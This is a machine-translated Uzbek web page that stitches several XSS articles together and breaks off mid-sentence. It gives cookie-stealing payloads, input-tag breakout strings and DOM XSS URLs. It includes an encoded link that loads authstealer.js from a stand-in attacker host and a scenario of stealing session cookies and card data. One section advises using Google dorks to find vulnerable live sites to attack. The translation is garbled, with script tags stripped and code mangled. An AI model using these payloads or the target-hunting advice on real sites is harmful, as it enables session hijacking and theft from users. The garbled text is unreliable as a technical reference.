Sayt bo'limlari
Muharrir tanlovi:
- Internet tezligini tekshirish: usullarning umumiy ko'rinishi. Provayderingizdan haqiqiy Internet tezligini qanday aniqlash mumkin
- Windows ro'yxatga olish kitobi muharririni ochishning uchta usuli Qidiruv yordamida ro'yxatga olish kitobini ochish
- Qattiq diskni qanday qismlarga bo'lish kerak
- Biz qattiq diskni bo'limlarga ajratamiz
- Kompyuter yoqilganda signal beradi
- Windows-da fayl kengaytmalarini to'g'ri o'zgartirish Arxiv kengaytmasini qanday o'zgartirish mumkin
- YouTube YouTube-da reklamalarni reklamasiz bloklash
- TeamViewer - kompyuterni masofadan boshqarish Boshqa kompyuter bilan bog'lanish uchun dasturni yuklab oling
- Windows-da kompyuteringizning xususiyatlarini qanday aniqlash mumkin: tizim usullari va maxsus dasturlar
- Biz turli xil qurilmalarda brauzerlarni yangilaymiz: kompyuter, planshet, smartfon Yangilangan brauzerni qayerda va qanday qilib o'rnating
Reklama
XSS zaifligi nima? Oson Hack: Saytlararo skript orqali ma'lumotlarni qanday chiqarish mumkin Ma'lumotlarni kiritish maydonlari orqali zararli kodni kiritish |
Saytlararo skript (XSS) - bu boshqa foydalanuvchilar ko'rayotgan veb-sahifaga mijoz tomoni kodini (JavaScript) kiritishni o'z ichiga olgan zaiflik. Zaiflik foydalanuvchi veb-sahifaga kiritish uchun taqdim etgan ma'lumotlarning filtrlashning etarli darajada o'tkazilmagani bilan bog'liq. Tushunish ancha oson aniq misol. Har qanday mehmon kitobini eslang - bular foydalanuvchi ma'lumotlarini qabul qilish va keyin uni ko'rsatish uchun mo'ljallangan dasturlar. Tasavvur qilaylik, mehmonlar kitobi kiritilgan ma'lumotlarni hech qanday tarzda tekshirmaydi yoki filtrlamaydi, balki ularni shunchaki ko'rsatadi. Siz o'zingizning eng oddiy skriptingizni chizishingiz mumkin (PHP da yomon skriptlarni yozishdan oson narsa yo'q - ko'pchilik buni qiladi). Ammo allaqachon ko'plab tayyor variantlar mavjud. Misol uchun, men Dojo va OWASP Mutillidae II bilan boshlashni taklif qilaman. U erda shunga o'xshash misol bor. Mustaqil Dojo muhitida brauzeringizdagi ushbu havolaga o'ting: http://localhost/mutillidae/index.php?page=add-to-your-blog.php Agar foydalanuvchilardan biri kiritgan bo'lsa: Salom! Ishlaringiz qalay. Keyin veb-sahifa ko'rsatiladi: Salom! Ishlaringiz qalay. Va agar foydalanuvchi buni kiritsa: Salom! Ishlaringiz qalay. ogohlantirish ("Pwned") Keyin u quyidagicha ko'rsatiladi: Brauzerlar ko'p sonli saytlar uchun bir nechta Cookie fayllarini saqlaydi. Har bir sayt faqat o'zi tomonidan saqlangan cookie-fayllarni qabul qilishi mumkin. Misol uchun, example.com brauzeringizda ba'zi cookie-fayllarni saqlagan. Agar siz another.com saytiga tashrif buyursangiz, ushbu sayt (mijoz va server skriptlari) example.com saqlagan cookie-fayllarga kira olmaydi. Agar example.com XSS uchun zaif bo'lsa, demak, biz qandaydir tarzda unga JavaScript kodini kiritishimiz mumkin va bu kod example.com nomidan bajariladi! Bular. Bu kod, masalan, example.com cookie-fayllariga kirish imkonini beradi. O'ylaymanki, hamma JavaScript-ni foydalanuvchi brauzerlarida bajarilganini eslaydi, ya'ni. XSS mavjudligida, o'rnatilgan zararli kod veb-sayt sahifasini ochgan foydalanuvchining ma'lumotlariga kirish huquqiga ega bo'ladi. O'rnatilgan kod JavaScript qila oladigan hamma narsani qila oladi, xususan:
Cookie-fayllarga eng oddiy misol: ogohlantirish (document.cookie) Aslida, ogohlantirish faqat XSSni aniqlash uchun ishlatiladi. Haqiqiy zararli foydali yuk yashirin harakatlarni amalga oshiradi. U tajovuzkorning uzoq serveri bilan yashirincha bog'lanadi va o'g'irlangan ma'lumotlarni unga uzatadi. XSS turlariXSS turlarini tushunish uchun eng muhim narsa shundaki, ular:
Konstantalarga misol:
Doimiy bo'lmaganlarga misol:
Ular, shuningdek, (ba'zilari doimiy bo'lmagan XSS zaifliklarining bir turi sifatida, ba'zilari esa bu tur doimiy XSS turi bo'lishi mumkinligini aytadilar):
Oddiy qilib aytganda, agar biz HTML kodini ochsak, "muntazam" doimiy bo'lmagan XSS ning zararli kodini ko'rishimiz mumkin. Masalan, havola quyidagicha tuzilgan: Http://example.com/search.php?q="/>ogohlantirish(1) Va biz manba HTML kodini ochganimizda, biz shunga o'xshash narsani ko'ramiz: < div class = "m__search" > < form method = "get" action = "/search.php" > < input type = "text" class = "ui-input query" name = "q" value = "" /> < script >ogohlantirish (1)" />< button type = "submit" class = "ui-button" >Toping Va DOM XSS brauzerda hosil bo'lgan DOM strukturasini tezda o'zgartiradi va biz faqat yaratilgan DOM strukturasini ko'rishda zararli kodni ko'rishimiz mumkin. HTML o'zgarmaydi. Misol tariqasida ushbu kodni olaylik: < html > < head > < title >veb-sayt:::DOM XSS< meta charset = "UTF-8" > < meta name = "viewport" content = "width=device-width, initial-scale=1.0" > < body > < div id = "default" >Xatolik yuz berdi...< script >Function OnLoad() ( var foundFrag = get_fragment(); return foundFrag; ) function get_fragment() ( var r4c = "(.*?)"; var results = location.hash.match(".*input=token(" + r4c + ");") agar (natijalar) ( document.getElementById("default").innerHTML = ""; return (unescape(natijalar)); ) else ( return null; ) ) display_session = OnLoad(); document.write("Seans identifikatoringiz: " + display_session + "< br >< br >") Keyin brauzerda biz ko'ramiz: Sahifa manba kodi: Keling, manzilni quyidagicha shakllantiramiz: Http://localhost/tests/XSS/dom_xss.html#input=tokenAlexalert(1); Endi sahifa quyidagicha ko'rinadi: Ammo ko'rib chiqaylik manba kodi HTML: U erda umuman hech narsa o'zgarmadi. Men bu haqda gapirgan edim, zararli kodni aniqlash uchun hujjatning DOM tuzilishiga qarashimiz kerak: Mana, ishlaydigan XSS prototipi, haqiqiy hujum uchun bizga murakkabroq foydali yuk kerak, chunki dastur nuqta-verguldan keyin darhol o'qishni to'xtatib qo'yishi mumkin emas va alert(1);alert(2) yo'q. uzoqroq mumkin. Biroq, unescape() tufayli biz qaytish ma'lumotlarida shunday foydali yukdan foydalanishimiz mumkin: Http://localhost/tests/XSS/dom_xss.html#input=tokenAlexalert(1)%3balert(2); Belgini almashtirgan joy; URI-kodlangan ekvivalentga! Endi biz zararli JavaScript yukini yozishimiz va jabrlanuvchiga yuborish uchun havola yaratishimiz mumkin, xuddi standart doimiy bo'lmagan saytlararo skriptlar uchun qilinganidek. XSS auditorIN Gugl xrom(shuningdek, hozir Google Chrome dvigatelidan foydalanadigan Operada) meni bu ajablanib kutdi: dom_xss.html:30 XSS Auditori 'http://localhost/tests/XSS/dom_xss.html#input=token‹script›alert(1);' da skriptni bajarishdan bosh tortdi, chunki uning manba kodi so'rov ichida topilgan. . Auditor ishga tushirildi, chunki server na “X-XSS-Himoya”, na “Content-Security-Policy” sarlavhasini yubormagan. Bular. brauzerda endi XSS auditori mavjud bo'lib, u XSSni oldini olishga harakat qiladi. Firefox-da bu funksiya hali mavjud emas, lekin menimcha, bu vaqt masalasidir. Agar brauzerlarda amalga oshirish muvaffaqiyatli bo'lsa, biz XSS-dan foydalanishda sezilarli qiyinchilik haqida gapirishimiz mumkin. Shuni yodda tutish kerakki, zamonaviy brauzerlar doimiy bo'lmagan XSS va DOM-ga asoslangan XSS kabi ekspluatatsion muammolar darajasini cheklash choralarini ko'rmoqda. Bu, shuningdek, veb-saytlarni brauzer yordamida sinab ko'rishda eslash kerak bo'lgan narsa - veb-ilova zaif ekanligi aniq bo'lishi mumkin, ammo siz qalqib chiquvchi tasdiqni ko'rmaysiz, chunki brauzer uni bloklaydi. XSS ekspluatatsiyasiga misollarSaytlararo skriptning zaifliklaridan foydalanishni niyat qilgan tajovuzkorlar har bir zaiflik sinfiga boshqacha yondashishlari kerak. Har bir sinf uchun hujum vektorlari bu erda tasvirlangan. XSS zaifliklari uchun hujumlar BeEF-dan foydalanishi mumkin, bu hujumni veb-saytdan foydalanuvchilarning mahalliy muhitiga kengaytiradi. Doimiy bo'lmagan XSS hujumiga misol 1. Elis tez-tez Bob tomonidan joylashtirilgan ma'lum bir veb-saytga tashrif buyuradi. Bobning veb-sayti Elisga foydalanuvchi nomi/parol bilan kirish va to'lov ma'lumotlari kabi nozik ma'lumotlarni saqlash imkonini beradi. Foydalanuvchi tizimga kirganda, brauzer avtorizatsiya cookie-fayllarini saqlaydi, ular ma'nosiz belgilarga o'xshaydi, ya'ni. ikkala kompyuter (mijoz va server) u kirganini eslaydi. 2. Mallory Bobning veb-saytida doimiy bo'lmagan XSS zaifligi borligini ta'kidlaydi: 2.1 Qidiruv sahifasiga tashrif buyurganingizda, qidiruv satrini kiriting va "yuborish" tugmasini bosing, agar natijalar topilmasa, sahifada kiritilgan qidiruv qatori va undan keyin "topilmadi" so'zlari ko'rsatiladi va url http://bobssite kabi ko'rinadi. .org?q= uni qidiruv so'rovi 2.2 "Itlar" so'zi kabi oddiy qidiruv so'rovi bilan sahifada "hech qanday it topilmadi" va http://bobssite.org?q=dogs url ko'rsatiladi, bu mutlaqo normal harakatdir. 2.3 Biroq, anomal qidiruv so'rovi alert('xss'); : 2.3.1 Ogohlantirish xabari ("xss" deb yozilgan) paydo bo'ladi. 2.3.2 Sahifada alert(‘xss’) ko‘rsatiladi; "xss" matnli xato xabari bilan birga topilmadi. 2.3.3 Foydalanish uchun mos url http://bobssite.org?q=alert('xss'); 3. Mallory zaiflikdan foydalanish uchun URL manzilini yaratadi: 3.1 U http://bobssite.org?q=puppies URL manzilini yaratadi. U ASCII belgilarini http://bobssite.org?q=puppies%3Cscript%2520src%3D%22http%3A%2F%2Fmallorysevilsite.com%2Fauthstealer.js%22%3E kabi o'n oltilik formatga aylantirishni tanlashi mumkin. odamlarning zararli URL manzilini darhol shifrlashiga yo'l qo'ymaslik uchun. 3.2 U Bob saytining ba'zi bexabar a'zolariga elektron pochta orqali "Salqin itlarni tekshirib ko'ring" deb yozadi. 4. Elis xat oladi. U itlarni yaxshi ko'radi va havolani bosadi. U qidiruvda Bobning saytiga kiradi, u hech narsa topa olmaydi, u erda "it topilmadi" ko'rsatiladi va o'rtada skriptli teg ishga tushiriladi (u ekranda ko'rinmaydi), Malory'ni yuklab oladi va bajaradi. authstealer.js dasturi (XSS hujumini tetiklash). Elis bu haqda unutadi. 5. Authstealer.js dasturi Alice brauzerida xuddi Bobning veb-saytidan olingandek ishlaydi. U Elisning avtorizatsiya cookie-fayllarining nusxasini oladi va ularni Malory serveriga yuboradi, u erda Malori ularni oladi. 7. Endi Malori ichkarida, u veb-saytning to'lov bo'limiga kiradi, raqamning nusxasini ko'radi va o'g'irlaydi. kredit kartasi Elis. Keyin u borib parolni o'zgartiradi, ya'ni. Endi Elis boshqa kira olmaydi. 8. U keyingi qadamni qo'yishga qaror qiladi va shu tarzda tuzilgan havolani Bobning o'ziga yuboradi va shu tariqa qabul qiladi. ma'muriy imtiyozlar Bobning sayti. Doimiy XSS hujumi XSS uchun Dorks Birinchi qadam, biz XSS hujumlarini amalga oshiradigan saytlarni tanlashdir. Saytlarni Google dorks yordamida qidirish mumkin. Mana, Google qidiruviga nusxa ko'chirishingiz va joylashtirishingiz mumkin bo'lgan bir nechta ahmoqlar:
Oldimizda saytlar ro'yxati ochiladi. Siz saytni ochishingiz va undagi kiritish maydonlarini topishingiz kerak, masalan, fikr-mulohaza shakli, kiritish shakli, sayt qidirish va h.k. Darhol ta'kidlashim kerakki, mashhur avtomatik yangilanadigan veb-ilovalarda zaifliklarni izlash deyarli foydasiz. Bunday dasturning klassik namunasi WordPressdir. Darhaqiqat, WordPress-da va ayniqsa uning plaginlarida zaifliklar mavjud. Bundan tashqari, WordPress dvigatelini (veb-master manba kodiga ba'zi o'zgarishlar kiritganligi sababli) yoki ularning plaginlari va mavzularini (qoida tariqasida, bu pirat plaginlar va mavzular) yangilamaydigan ko'plab saytlar mavjud. Ammo agar siz ushbu bo'limni o'qib, undan yangi narsalarni o'rgansangiz, WordPress hali siz uchun emas... Biz unga keyinroq qaytamiz. Eng yaxshi maqsadlar turli xil o'z-o'zidan yozilgan dvigatellar va skriptlardir. sifatida kiritish yukini tanlashingiz mumkin ogohlantirish (1) O'rnatilgan kodingiz qaysi HTML kod teglariga tegishli ekanligiga e'tibor bering. Bu erda odatiy kiritish maydoniga misol < input type = "text" class = "ui-input query" name = "q" value = "yostiq jild" />< script >ogohlantirish (1)< input value = "" /> Bizning yukimiz "yostiqcha" so'zi hozir bo'lgan joyda tugaydi. Bular. kirish tegining qiymatiga aylantiring. Buning oldini olish uchun qo'sh qo'shtirnoqni, so'ngra tegni "/> bilan yopish mumkin "/>ogohlantirish(1) XSS zaifliklarini qidirish va skanerlash uchun dasturlarEhtimol, barcha veb-ilovalar skanerlarida o'rnatilgan XSS zaiflik skaneri mavjud. Ushbu mavzu keng qamrovli emas, har bir shunga o'xshash skaner bilan alohida tanishish yaxshiroqdir. XSS zaifliklarini skanerlash uchun maxsus vositalar ham mavjud. Ular orasida biz alohida ta'kidlashimiz mumkin:
Ko'pgina zaif veb-ilovalar to'plami (ba'zi yuqori darajada ixtisoslashganlaridan tashqari) XSS uchun zaif bo'lgan saytlarni o'z ichiga oladi. Eng eng yaxshi variant sinov uchun ko'plab ilovalarni to'plagan Dojo oflayn o'quv muhitida ulardan foydalanish hisoblanadi. Masalan, siz XSS-ni aniqlash va undan foydalanish bo'yicha ko'nikmalaringizni quyidagi yo'llar bilan o'rgatishingiz mumkin: La'nati zaif veb-ilova (DVWA):
Mutillidae/NOWASP (ko'p turli xil XSS o'zgarishlari)
Saytlararo skriptlardan foydalanish java skripti- eng mashhur hujum turi. Ushbu materialda biz sizga java skriptidan foydalanishda yuzaga kelishi mumkin bo'lgan muammolar va o'zingizni XSS hujumlaridan qanday himoya qilish haqida gapirib beramiz. XSS hujumi nima?XSS - Internet-resurs foydalanuvchilariga hujumning bir turi bo'lib, uning maqsadi ma'muriy qismga va boshqa imkoniyatga ega bo'lgan foydalanuvchilarga kirish uchun sayt ma'murlarining autentifikatsiya ma'lumotlarini o'g'irlashdir. shaxsiy kirish resursning yopiq qismlariga. Ushbu hujumlar nafaqat saytni buzish, balki o'g'irlash uchun ham amalga oshirilishi mumkin:
Ushbu turdagi hujum ikki yo'nalishga ega: Faol - tajovuzkor Internet-resurs filtridagi zaifliklarni topishga harakat qilganda hujum turi. orqali ma'lum kombinatsiya belgilar va teglar, xaker resurs tushunadigan va buyruqni bajaradigan so'rovni yaratadi. Xavfsizlik tizimida zaiflik topilgach, so'rovga zararli kod kiritiladi, bu, masalan, barcha cookie-fayllarni xaker uchun qulay joyga yuboradi. Passiv - hujum sub'ektining aralashuvini o'z ichiga oladi. G'oya foydalanuvchini amalga oshirish uchun zararli havolaga amal qilishga majbur qilishdir zararli kod. Ushbu hujumlarni amalga oshirish qiyin, chunki ular tajovuzkordan mukammal texnik bilim va psixologiyani yaxshi bilishni talab qiladi. Xavfsizlik qoidalariXSS hujumi qurboni bo'lmaslik uchun siz quyidagi xavfsizlik qoidalariga rioya qilishingiz kerak: Statistik ma'lumotlarga ko'ra, Internet-resurslarning 84 foizi XSS hujumlaridan yaxshi himoyalangan. Qolgan 16% esa ularga samarali qarshilik ko'rsata olmaydi. Ushbu qo'pol kamchilikni bartaraf etish sayt egalaridan xavfsizlikka qo'shimcha sarmoya kiritishni talab qiladi, ularning aksariyati bunga tayyor emas. Biroq, shaxsiy ma'lumotlarning shikastlanishi, sizib chiqishi va oshkor etilishi bilan bog'liq qonunchilikni kuchaytirish vijdonsiz egalarni o'z saytlari xavfsizligini yaxshilashga tobora ko'proq majbur qilmoqda. Ori Segal Xakerlar saytlararo skript hujumlaridan qanday foydalanishi, ular nimaga zarar etkazishi (va yo'qligi), ularni qanday aniqlash va veb-saytingiz va unga tashrif buyuruvchilarni ushbu zararli maxfiylik va xavfsizlik buzilishidan qanday himoya qilishni bilib oling. Saytlararo skript (yoki qisqacha XSS) xakerlar veb-ilovalarni buzish uchun foydalanadigan eng keng tarqalgan dastur darajasidagi hujumlardan biridir. XSS - bu ma'lum bir veb-sayt mijozlarining shaxsiy hayotiga hujum. Mijoz ma'lumotlari o'g'irlanganda va kelajakda qandaydir maqsadlarda foydalanilganda, bu xavfsizlik tizimining to'liq yo'q qilinishiga olib kelishi mumkin. Ko'pgina hujumlar ikki tomonni o'z ichiga oladi: tajovuzkor va veb-sayt yoki tajovuzkor va qurbon mijoz. Biroq, XSS hujumi uchta tomonni o'z ichiga oladi: tajovuzkor, mijoz va veb-sayt. XSS hujumining maqsadi mijozning kompyuteridan cookie yoki boshqa cookie-fayllarni o'g'irlashdir. maxfiy ma'lumotlar, bu veb-saytdagi mijozni aniqlay oladi. Uni qonuniy foydalanuvchi sifatida aniqlash uchun ma'lumotlarga ega bo'lgan tajovuzkor saytda bunday foydalanuvchi sifatida harakat qilishi mumkin, ya'ni. o'zini unga ko'rsat. Misol uchun, yirik kompaniyada o'tkazilgan bitta auditda XSS hujumi yordamida foydalanuvchining shaxsiy ma'lumotlari va kredit karta raqamini olish mumkin edi. Bunga yugurish orqali erishildi maxsus kod JavaScript-da. Ushbu kod veb-saytga kirish huquqiga ega bo'lgan jabrlanuvchi (mijoz) brauzerida bajarilgan. JavaScript imtiyozlarining juda cheklangan soni mavjud bo'lib, ular skriptga saytga tegishli ma'lumotlardan boshqa hech narsaga kirish huquqini bermaydi. Shuni ta'kidlash kerakki, zaiflik veb-saytda mavjud bo'lsa-da, veb-saytning o'zi bevosita zarar ko'rmaydi. Ammo bu skriptni yig'ish uchun etarli kukilar va ularni hujumchiga yubordi. Natijada, tajovuzkor kerakli ma'lumotlarni oladi va jabrlanuvchiga taqlid qilishi mumkin. Hujum qilingan saytni quyidagicha nomlaymiz: www.vulnerable.site. An'anaviy XSS hujumi zaif veb-saytda joylashgan zaif skriptga tayanadi. Ushbu skript HTTP so'rovining bir qismini (odatda parametrlar, lekin ba'zan HTTP sarlavhalari yoki yo'lini) o'qiydi va javob sahifasi uchun uni hammasi yoki faqat bir qismi uchun takrorlaydi. Bu so'rovni tozalamaydi (ya'ni, so'rovda JavaScript kodi yoki HTML teglari mavjud emasligini tekshirmaydi). Aytaylik, bu skript Welcome.cgi deb nomlanadi va uning parametri nomdir. U shunday ishlatilishi mumkin: Buni qanday suiiste'mol qilish mumkin? Buzg'unchi mijozni (jabrlanuvchini) tajovuzkor ularga taqdim etgan havolani bosishga jalb qila olishi kerak. Bu jabrlanuvchining veb-brauzerini veb-saytga (www.vulnerable.site) kirishiga va zaif skriptni bajarishiga olib keladigan ehtiyotkorlik bilan va zararli tarzda yaratilgan havola. Ushbu skript uchun ma'lumotlar mijozning www.vulnerable.site sayti uchun brauzerida saqlangan cookie-fayllarga kirish uchun JavaScript kodini o'z ichiga oladi. Bunga ruxsat berilgan, chunki mijozning brauzeri JavaScript kodi www.vulnerable.site dan keladi deb "o'ylaydi". Va JavaScript xavfsizlik modeli ma'lum bir saytdan olingan skriptlarga ushbu saytga tegishli cookie-fayllarga kirish imkonini beradi. Zaif saytning javobi quyidagicha bo'ladi:
Jabrlanuvchi mijozning brauzeri ushbu so'rovni JavaScript kodining bir qismini o'z ichiga olgan HTML sahifasi sifatida izohlaydi. Ushbu kod bajarilganda www.vulnerable.site saytiga tegishli barcha cookie-fayllarga kirish huquqiga ega bo'ladi. Natijada, u brauzerda www.vulnerable.site bilan bog'liq bo'lgan mijozning barcha cookie fayllarini ko'rsatadigan qalqib chiquvchi oynani keltirib chiqaradi. Albatta, haqiqiy hujum bu fayllarni tajovuzkorga yuborishni o'z ichiga oladi. Buning uchun tajovuzkor veb-sayt (www.attacker.site) yaratishi va cookie-fayllarni olish uchun skriptdan foydalanishi mumkin. Qalqib chiquvchi oynaga qo'ng'iroq qilish o'rniga, tajovuzkor www.attacker.site URL manziliga kiradigan kod yozadi. Shu munosabat bilan cookie-fayllarni olish uchun skript bajariladi. Ushbu skript uchun parametr o'g'irlangan cookie fayllari. Shunday qilib, tajovuzkor www.attacker.site serveridan cookie-fayllarni olishi mumkin. Ushbu sahifani yuklagandan so'ng darhol brauzer u yerga kiritilgan JavaScript kodini ishga tushiradi va so'rovni www.attacker.site dagi collect.cgi skriptiga hamda brauzerda mavjud bo'lgan www.vulnerable.site cookie-fayllari qiymatiga yo'naltiradi. Bu mijozda mavjud bo'lgan www.vulnerable.site cookie-fayllarining xavfsizligini buzadi. Bu tajovuzkorga o'zini qurbon bo'lgandek ko'rsatishga imkon beradi. Mijozning maxfiyligi to'liq buziladi. Eslatma. Hujum faqat jabrlanuvchining saytga kirish uchun ishlatiladigan brauzerida sodir bo'lishi mumkin (www.vulnerable.site). Buzg'unchi mijozni zararli havolaga kirishga majbur qilishi kerak. Bunga bir necha usul bilan erishish mumkin.
Zararli JavaScript kodi quyidagi ma'lumotlardan istalganiga kirishi mumkin:
Identifikatsiya, avtorizatsiya va autentifikatsiya ma'lumotlari odatda cookie fayllari shaklida saqlanadi. Agar bu cookie-fayllar doimiy bo'lsa, jabrlanuvchi hatto www.vulnerable.site saytiga kirishda brauzerdan foydalanmayotganda ham hujumga moyil bo'ladi. Biroq, agar cookie-fayllar vaqtinchalik bo'lsa (masalan, ular RAMda saqlanadi), u holda mijoz tomonida www.vulnerable.site sayti bilan sessiya bo'lishi kerak. Identifikatsiya yorlig'ining yana bir mumkin bo'lgan amalga oshirilishi URL parametridir. Bunday hollarda siz JavaScript-dan foydalanib boshqa oynalarga quyidagi tarzda kirishingiz mumkin (kerakli URL parametrlari bilan sahifa nomi foobar deb faraz qilinsa):
JavaScript skriptini ishga tushirish uchun siz dan boshqa ko'plab HTML teglaridan foydalanishingiz mumkin. Aslida, zararli JavaScript kodini boshqa serverga joylashtirish va keyin mijozni skriptni yuklab olish va uni bajarish uchun aldash ham mumkin. Agar siz katta hajmdagi kodni ishga tushirishingiz kerak bo'lsa yoki kodda maxsus belgilar mavjud bo'lsa, bu foydali bo'lishi mumkin. Mana bu imkoniyatlarning ba'zi o'zgarishlari.
Ba'zan javoblar sahifasiga kiritilgan ma'lumotlar pulli HTML kontekstida bo'ladi. Bunday holda, avval siz erkin kontekstga "qochib ketishingiz", keyin esa XSS hujumini amalga oshirishingiz kerak. Misol uchun, agar ma'lumotlar HTML forma maydoni uchun standart qiymat sifatida kiritilsa: Va natijada HTML kodi quyidagicha bo'ladi:
Saytlararo skript nima ekanligini hammamiz bilamiz, to'g'rimi? Bu zaiflik bo'lib, unda tajovuzkor zararli ma'lumotlarni (odatda Javascript kodini o'z ichiga olgan HTML) yuboradi va keyinchalik ilova tomonidan qaytariladi va Javascript kodining bajarilishiga olib keladi. Demak, bu haqiqat emas! Hech bo'lmaganda uning asosiy fundamental tamoyillariga ko'ra, ushbu ta'rifga mos kelmaydigan XSS hujumining bir turi mavjud. XSS hujumlari, yuqorida ta'riflanganidek, bir lahzali (zararli ma'lumotlar so'rovdan so'ng darhol brauzerga qaytariladigan sahifaga kiritilgan) va kechiktirilgan (zararli ma'lumotlar bir muncha vaqt o'tgach qaytariladi) bo'linadi. Ammo XSS hujumining uchinchi turi mavjud bo'lib, u zararli ma'lumotlarni serverga yuborishga asoslanmagan. Garchi bu qarama-qarshi bo'lib tuyulsa-da, bunday hujumning ikkita yaxshi hujjatlashtirilgan misoli mavjud. Ushbu maqolada XSS hujumlarining uchinchi turi tasvirlangan - XSS orqali DOM (DOM asosidagi XSS). Bu erda hujum haqida hech qanday yangi narsa yozilmaydi, aksincha, ushbu materialning yangiligi hujumning o'ziga xos xususiyatlarini ta'kidlashda bo'lib, ular juda muhim va qiziqarli. Ishlab chiquvchilar va dastur foydalanuvchilari DOM orqali XSS hujumlari tamoyillarini tushunishlari kerak, chunki ular veb-ilovalarga tahdid soladi va oddiy XSS-dan farq qiladi. Internetda DOM orqali XSSga qarshi himoyasiz bo'lgan ko'plab veb-ilovalar mavjud va shu bilan birga XSS uchun sinovdan o'tgan va ushbu turdagi hujumlarga "daxlsiz" deb topilgan. Ishlab chiquvchilar va sayt ma'murlari DOM orqali XSS ni aniqlash va himoya qilish usullari bilan tanishishlari kerak, chunki bu usullar standart XSS zaifliklarini bartaraf etishda qo'llaniladigan usullardan farq qiladi. KirishO'quvchi XSS hujumlarining asosiy tamoyillari bilan tanish bo'lishi kerak (, , , , ). XSS odatda instant() va dangasa saytlararo skriptlarga ishora qiladi. Tezkor XSS bilan zararli kod (Javascript) hujum qilingan server tomonidan HTTP so'roviga javob sifatida darhol qaytariladi. Kechiktirilgan XSS zararli kod hujumga uchragan tizimda saqlanganligini va keyinchalik uni kiritish mumkinligini anglatadi HTML sahifasi zaif tizim. Yuqorida aytib o'tilganidek, bu tasnif XSS ning asosiy xususiyati zararli kodning brauzerdan serverga yuborilishi va bir xil brauzerga (flash XSS) yoki boshqa brauzerga (kechiktirilgan XSS) qaytarilishini nazarda tutadi. Ushbu maqolada bu noto'g'ri tasniflash masalasi ko'tariladi. Server tomonidan qaytarilgan sahifaga kod kiritishga tayanmaydigan XSS hujumini amalga oshirish qobiliyati xavfsizlik va aniqlash usullariga katta ta'sir ko'rsatadi. Bunday hujumlarning tamoyillari ushbu maqolada muhokama qilinadi. Misol va sharhlarEng oddiy hujum stsenariysini tavsiflashdan oldin, bu erda tasvirlangan usullar allaqachon bir necha marta ommaga namoyish etilganligini ta'kidlash kerak (masalan, , va ). Men quyida keltirilgan usullar birinchi marta tasvirlangan deb da'vo qilmayman (garchi ularning ba'zilari ilgari nashr etilgan materiallardan farq qilsa ham). Zaif saytning belgisi hujjat.location, document.URL yoki document.referrer maʼlumotlaridan (yoki tajovuzkor taʼsir qilishi mumkin boʻlgan boshqa obʼyektlardan) xavfsiz tarzda foydalaniladigan HTML sahifasining mavjudligi boʻlishi mumkin. Ushbu Javascript ob'ektlari bilan tanish bo'lmagan o'quvchilar uchun eslatma: Javascript kodi brauzerda ishlaganda, u DOM ichida taqdim etilgan bir nechta ob'ektlarga kiradi ( Hujjat ob'ekti Model Ob'ekt modeli hujjat). Hujjat ob'ekti ushbu ob'ektlarning asosiysi bo'lib, sahifaning ko'pgina xususiyatlariga kirishni ta'minlaydi. Ushbu ob'ektda joylashuv, URL va havola kabi ko'plab ichki ob'ektlar mavjud. Ular brauzer tomonidan brauzer nuqtai nazariga ko'ra boshqariladi (quyida ko'rib chiqilayotganidek, bu juda muhim). Demak, document.URL va document.location sahifaning URL manzilini yoki aniqrog‘i, URL orqali brauzer nimani anglatishini o‘z ichiga oladi. E'tibor bering, ushbu ob'ektlar HTML sahifasining asosiy qismidan olinmagan. Hujjat obyekti sahifaning tahlil qilingan HTML kodini o'z ichiga olgan tana ob'ektini o'z ichiga oladi. URL satrini tahlil qiluvchi (document.URL yoki document.location orqali kirish mumkin) va uning qiymatiga ko'ra, mijoz tomonida ba'zi amallarni bajaradigan Javascript kodini o'z ichiga olgan HTML sahifani topish qiyin emas. Quyida bunday kodning namunasi keltirilgan. Quyidagi misolga o'xshab, quyidagi HTML sahifasini ko'rib chiqing (tarkibni http://www.vulnerable.site/welcome.html deb hisoblang): Xush kelibsiz! Salom var pos=document.URL.indexOf("name=")+5; document.write(document.URL.substring(pos,document.URL.length)); Biroq, bunday so'rov - http://www.vulnerable.site/welcome.html?name=alert(document.cookie) XSS sabab bo'ladi. Keling, nima uchun ekanligini ko'rib chiqaylik: jabrlanuvchining brauzeri ushbu havolani olgan holda www.vulnerable.site ga HTTP so'rovini yuboradi va yuqorida aytib o'tilgan (statik!) HTML sahifani oladi. Jabrlanuvchining brauzeri ushbu HTML kodini tahlil qilishni boshlaydi. DOM URL maydoniga ega bo'lgan hujjat ob'ektini o'z ichiga oladi va bu maydon DOM yaratish vaqtida joriy sahifaning URL qiymati bilan to'ldiriladi. Tahlil qiluvchi Javascript kodiga yetganda, u uni bajaradi, bu esa ko'rsatilgan sahifaning HTML kodini o'zgartirishga olib keladi. Bunday holda, kod document.URL ga murojaat qiladi va ushbu satrning bir qismi darhol tahlil qilinadigan tahlil qilish paytida HTMLga kiritilganligi sababli, aniqlangan kod (alert(...)) xuddi shu sahifa kontekstida bajariladi. Eslatmalar: 1. Zararli kod HTML sahifasiga kiritilmagan (boshqa XSS turlaridan farqli o'laroq). Yuqoridagi misolda, zararli kod hali ham serverga yuboriladi (HTTP so'rovining bir qismi sifatida), shuning uchun hujum boshqa XSS hujumlari kabi aniqlanishi mumkin. Ammo bu hal qilinadigan muammo. Quyidagi misolni ko'rib chiqing: http://www.vulnerable.site/welcome.html#name=alert(document.cookie) Fayl nomining o'ng tomonidagi "#" belgisiga e'tibor bering. Bu brauzerga ushbu belgidan keyin hamma narsa so'rovning bir qismi emasligini aytadi. Microsoft Internet Explorer (6.0) va Mozilla '#' belgisidan keyin fragmentni serverga yubormaydi, shuning uchun server uchun bu so'rov http://www.vulnerable.site/welcome.html ga ekvivalent bo'ladi, ya'ni. zararli kod hatto server tomonidan sezilmaydi. Shunday qilib, ushbu texnika tufayli brauzer zararli yukni serverga yubormaydi. Biroq, ba'zi hollarda foydali yukni yashirish mumkin emas: in va zararli foydali yuk http://username@host/ kabi URL manzilidagi foydalanuvchi nomining bir qismidir. Bunday holda, brauzer foydalanuvchi nomini (zararli yuk) o'z ichiga olgan Avtorizatsiya sarlavhasi bilan so'rov yuboradi, natijada zararli kod serverga etib boradi (Base64 kodlangan - shuning uchun IDS/IPS hujumni aniqlash uchun avval ushbu ma'lumotlarni dekodlashi kerak). Biroq, serverdan ushbu foydali yukni mavjud HTML sahifalaridan biriga kiritish shart emas, garchi bu XSS hujumini amalga oshirish uchun zaruriy shart bo'lsa ham. Shubhasiz, foydali yuk butunlay yashirin bo'lishi mumkin bo'lgan holatlarda, aniqlash (IPS) va oldini olish (IPS) xavfsizlik devorlari veb-ilovalar uchun) ushbu hujumdan 